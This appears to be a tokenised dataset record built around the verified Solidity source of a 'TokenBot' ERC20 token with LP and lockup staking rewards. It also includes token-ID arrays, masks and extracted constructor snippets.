[ 1, 22170, 18708, 882, 18264, 423, 2192, 1360, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 14410, 3373, 12135, 27, 3461, 12, 3890, 1578, 28183, 13, 3903, 1476, 1135, 261, 6430, 13, 288, 202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2020-09-28 */ // SPDX-License-Identifier: MIT pragma solidity 0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ abstract contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); } contract Token is Ownable, ERC20 { using SafeMath for uint256; event Staked( address lpToken, address user, uint256 amount ); event Unstaked( address user, address lpToken, uint256 amount ); event RewardWithdrawn( address user, uint256 amount ); uint256 private constant rewardMultiplier = 1e17; struct Stake { mapping(address => uint256) lpToStakeAmount; // lp token address to token amount uint256 totalStakedAmountByUser; // sum of all lp tokens uint256 lastInteractionBlockNumber; // block number at last withdraw address[] lpTokens; // list of all lps } mapping(address => Stake) public userToStakes; // user to stake uint256 public totalStakedAmount; // sum of stakes by all of the users across all lp IUniswapV2Factory public uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); struct TokenStake { uint256 amount; uint256 lastInteractionTimestamp; uint256 stakingPeriodEndTime; uint256 rate; } mapping(address => TokenStake) public userToTokenStakes; // user to test token stake struct Lockup { uint256 duration; // duration in seconds uint256 rate; // reward rate } Lockup[8] public lockupPeriods; IERC20 public swapToken = IERC20(0xEEd2B7756E295A9300e53dD049AeB0751899BAe3); uint256 public swapTokenDecimals = 18; address public swapTreasury = 0x4eFfA0933a1099b8F95E34964c36Dfd9b7B1A49a; uint256 public totalTokensStakedAmount; uint256 public blockMiningTime = 15; uint256 public constant MAX_SUPPLY = 6000000 * 10 ** 18; constructor() public ERC20("TokenBot", "TKB", 18) { // _mint(_msgSender(), 1000 * 10 ** 18); // for testing // lockupPeriods[0] = Lockup(200, 1e15); for testing lockupPeriods[0] = Lockup(604800, 1e15); lockupPeriods[1] = Lockup(2592000, 4e15); lockupPeriods[2] = Lockup(5184000, 8e15); lockupPeriods[3] = Lockup(7776000, 12e15); lockupPeriods[4] = Lockup(15552000, 24e15); lockupPeriods[5] = Lockup(31104000, 48e15); lockupPeriods[6] = Lockup(63113904, 96e15); lockupPeriods[7] = Lockup(126227808, 192e15); } function changeBlockMiningTime(uint256 newTime) external onlyOwner { require( newTime != 0, "new time cannot be zero" ); blockMiningTime = newTime; } function swapAndStakeDOG( uint256 swapTokenAmount ) external { require( swapTokenAmount != 0, "swapTokenAmount should be greater than 0" ); require( swapToken.transferFrom(_msgSender(), swapTreasury, swapTokenAmount), "#transferFrom failed" ); uint256 tokensReceived = swapTokenAmount.mul(10 ** uint256(decimals())) .div(250 * 10 ** swapTokenDecimals); _mint(_msgSender(), tokensReceived); stakeTKB(tokensReceived, 0); } function stakeTKB( uint256 stakeAmount, uint256 lockUpPeriodIdx // 0 - 7 - is represented by index of `lockupPeriods` array. ) public { require( stakeAmount != 0, "stakeAmount should be greater than 0" ); require( lockUpPeriodIdx <= 7, "lock lockUpPeriodIdx should be between 0 and 7" ); TokenStake storage currentStake = userToTokenStakes[_msgSender()]; require( currentStake.amount == 0, "address has already staked" ); currentStake.amount = stakeAmount; currentStake.stakingPeriodEndTime = block.timestamp.add( lockupPeriods[lockUpPeriodIdx].duration ); currentStake.rate = lockupPeriods[lockUpPeriodIdx].rate; currentStake.lastInteractionTimestamp = block.timestamp; totalTokensStakedAmount = totalTokensStakedAmount.add(stakeAmount); _transfer(_msgSender(), address(this), stakeAmount); emit Staked( address(this), msg.sender, stakeAmount ); } function unstakeTKB() external { uint256 amountToUnstake = userToTokenStakes[_msgSender()].amount; bool executeUnstaking; if (amountToUnstake != 0) { if (userToTokenStakes[_msgSender()].stakingPeriodEndTime <= block.timestamp) { executeUnstaking = true; } if (totalSupply() == MAX_SUPPLY) { executeUnstaking = true; } } require( executeUnstaking, "cannot unstake" ); _withdrawRewardTKB(_msgSender()); totalTokensStakedAmount = totalTokensStakedAmount.sub(amountToUnstake); delete userToTokenStakes[_msgSender()]; _transfer(address(this), _msgSender(), amountToUnstake); emit Unstaked(address(this), _msgSender(), amountToUnstake); } function withdrawRewardTKB() external { _withdrawRewardTKB(_msgSender()); } function getTKBRewardByAddress(address user) public view returns(uint256) { TokenStake storage currentStake = userToTokenStakes[user]; uint256 secondsElapsed; if (block.timestamp > currentStake.stakingPeriodEndTime) { if (currentStake.stakingPeriodEndTime < currentStake.lastInteractionTimestamp) { return 0; } secondsElapsed = currentStake.stakingPeriodEndTime .sub(currentStake.lastInteractionTimestamp); } else { secondsElapsed = block.timestamp .sub(currentStake.lastInteractionTimestamp); } uint256 stakeAmount = currentStake.amount; uint256 blockCountElapsed = secondsElapsed.div(blockMiningTime); if (blockCountElapsed == 0 || stakeAmount == 0) { return 0; } return currentStake.rate .mul(blockCountElapsed) .mul(stakeAmount) .div(totalTokensStakedAmount); } function _withdrawRewardTKB(address user) internal { uint256 rewardAmount = getTKBRewardByAddress(user); if (rewardAmount != 0) { _mint(_msgSender(), rewardAmount); emit RewardWithdrawn(user, rewardAmount); } userToTokenStakes[_msgSender()].lastInteractionTimestamp = block.timestamp; } function stakeLP( uint256 stakeAmount ) external { require( stakeAmount != 0, "stakeAmount should be greater than 0" ); // only for testing, should be removed. // address lpToken = tokenA; address lpToken = uniswapFactory.getPair( address(this), 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 ); _withdrawRewardLP(_msgSender()); totalStakedAmount = totalStakedAmount.add(stakeAmount); // add stake amount to sum of all stakes across al lps Stake storage currentStake = userToStakes[_msgSender()]; uint256 oldStakeAmountByLP = currentStake.lpToStakeAmount[lpToken]; if (oldStakeAmountByLP == 0) { currentStake.lpTokens.push(lpToken); } currentStake.lpToStakeAmount[lpToken] = oldStakeAmountByLP // add stake amount by lp .add(stakeAmount); currentStake.totalStakedAmountByUser = currentStake.totalStakedAmountByUser // add stake amount to sum of all stakes by user .add(stakeAmount); require( IERC20(lpToken).transferFrom(_msgSender(), address(this), stakeAmount), // get the tokens from user to the contract "#transferFrom failed" ); emit Staked( lpToken, msg.sender, stakeAmount ); } function unstakeLP( address[] calldata lpTokens ) external { _withdrawRewardLP(_msgSender()); Stake storage currentStake = userToStakes[_msgSender()]; address[] storage tokens = currentStake.lpTokens; uint256 stakeAmountToDeduct; // unstake user for lp tokens provided in the array for (uint256 i; i < lpTokens.length; i++) { uint256 stakeAmount = currentStake.lpToStakeAmount[ lpTokens[i] ]; if (stakeAmount == 0) { revert("unstaking an invalid LP token"); } delete currentStake.lpToStakeAmount[ lpTokens[i] ]; currentStake.totalStakedAmountByUser = currentStake.totalStakedAmountByUser .sub(stakeAmount); stakeAmountToDeduct = stakeAmountToDeduct.add(stakeAmount); for (uint256 p; p < tokens.length; p++) { if (lpTokens[i] == tokens[p]) { tokens[p] = tokens[tokens.length - 1]; tokens.pop(); } } require( IERC20(lpTokens[i]).transfer(_msgSender(), stakeAmount), // transfer staked tokens back to the user "#transfer failed" ); emit Unstaked(lpTokens[i], _msgSender(), stakeAmount); } totalStakedAmount = totalStakedAmount.sub(stakeAmountToDeduct); // subtract unstaked amount from total staked amount } function withdrawRewardLP() external { _withdrawRewardLP(_msgSender()); } function getBlockCountSinceLastIntreraction(address user) public view returns(uint256) { uint256 lastInteractionBlockNum = userToStakes[user].lastInteractionBlockNumber; if (lastInteractionBlockNum == 0) { return 0; } return block.number.sub(lastInteractionBlockNum); } function getTotalStakeAmountByUser(address user) public view returns(uint256) { return userToStakes[user].totalStakedAmountByUser; } function getAllLPsByUser(address user) public view returns(address[] memory) { return userToStakes[user].lpTokens; } function getStakeAmountByUserByLP( address lp, address user ) public view returns(uint256) { return userToStakes[user].lpToStakeAmount[lp]; } function getLPRewardByAddress( address user ) public view returns(uint256) { if (totalStakedAmount == 0) { return 0; } Stake storage currentStake = userToStakes[user]; uint256 blockCount = block.number .sub(currentStake.lastInteractionBlockNumber); uint256 totalReward = blockCount.mul(rewardMultiplier); return totalReward .mul(currentStake.totalStakedAmountByUser) .div(totalStakedAmount); } function _withdrawRewardLP(address user) internal { uint256 rewardAmount = getLPRewardByAddress(user); if (rewardAmount != 0) { _mint(user, rewardAmount); // mint reward Tokens for the user emit RewardWithdrawn(user, rewardAmount); } userToStakes[user].lastInteractionBlockNumber = block.number; } function _mint(address account, uint256 amount) internal override { require( totalSupply().add(amount) <= MAX_SUPPLY, "total supply exceeds max supply" ); super._mint(account, amount); } }
_mint(_msgSender(), 1000 * 10 ** 18); for testing lockupPeriods[0] = Lockup(200, 1e15); for testing
constructor() public ERC20("TokenBot", "TKB", 18) { lockupPeriods[0] = Lockup(604800, 1e15); lockupPeriods[1] = Lockup(2592000, 4e15); lockupPeriods[2] = Lockup(5184000, 8e15); lockupPeriods[3] = Lockup(7776000, 12e15); lockupPeriods[4] = Lockup(15552000, 24e15); lockupPeriods[5] = Lockup(31104000, 48e15); lockupPeriods[6] = Lockup(63113904, 96e15); lockupPeriods[7] = Lockup(126227808, 192e15); }
7,957,766
[ 1, 67, 81, 474, 24899, 3576, 12021, 9334, 4336, 225, 1728, 225, 6549, 1769, 225, 364, 7769, 2176, 416, 30807, 63, 20, 65, 273, 3488, 416, 12, 6976, 16, 404, 73, 3600, 1769, 364, 7769, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 1071, 4232, 39, 3462, 2932, 1345, 6522, 3113, 315, 56, 16024, 3113, 6549, 13, 288, 203, 3639, 2176, 416, 30807, 63, 20, 65, 273, 3488, 416, 12, 26, 3028, 17374, 16, 404, 73, 3600, 1769, 203, 3639, 2176, 416, 30807, 63, 21, 65, 273, 3488, 416, 12, 2947, 9975, 3784, 16, 1059, 73, 3600, 1769, 203, 3639, 2176, 416, 30807, 63, 22, 65, 273, 3488, 416, 12, 25, 29242, 3784, 16, 1725, 73, 3600, 1769, 203, 3639, 2176, 416, 30807, 63, 23, 65, 273, 3488, 416, 12, 4700, 6669, 3784, 16, 2593, 73, 3600, 1769, 203, 3639, 2176, 416, 30807, 63, 24, 65, 273, 3488, 416, 12, 23643, 9401, 3784, 16, 4248, 73, 3600, 1769, 203, 3639, 2176, 416, 30807, 63, 25, 65, 273, 3488, 416, 12, 6938, 21869, 3784, 16, 9934, 73, 3600, 1769, 203, 3639, 2176, 416, 30807, 63, 26, 65, 273, 3488, 416, 12, 4449, 2499, 5520, 3028, 16, 19332, 73, 3600, 1769, 203, 3639, 2176, 416, 30807, 63, 27, 65, 273, 3488, 416, 12, 25452, 3787, 27, 3672, 28, 16, 20217, 73, 3600, 1769, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
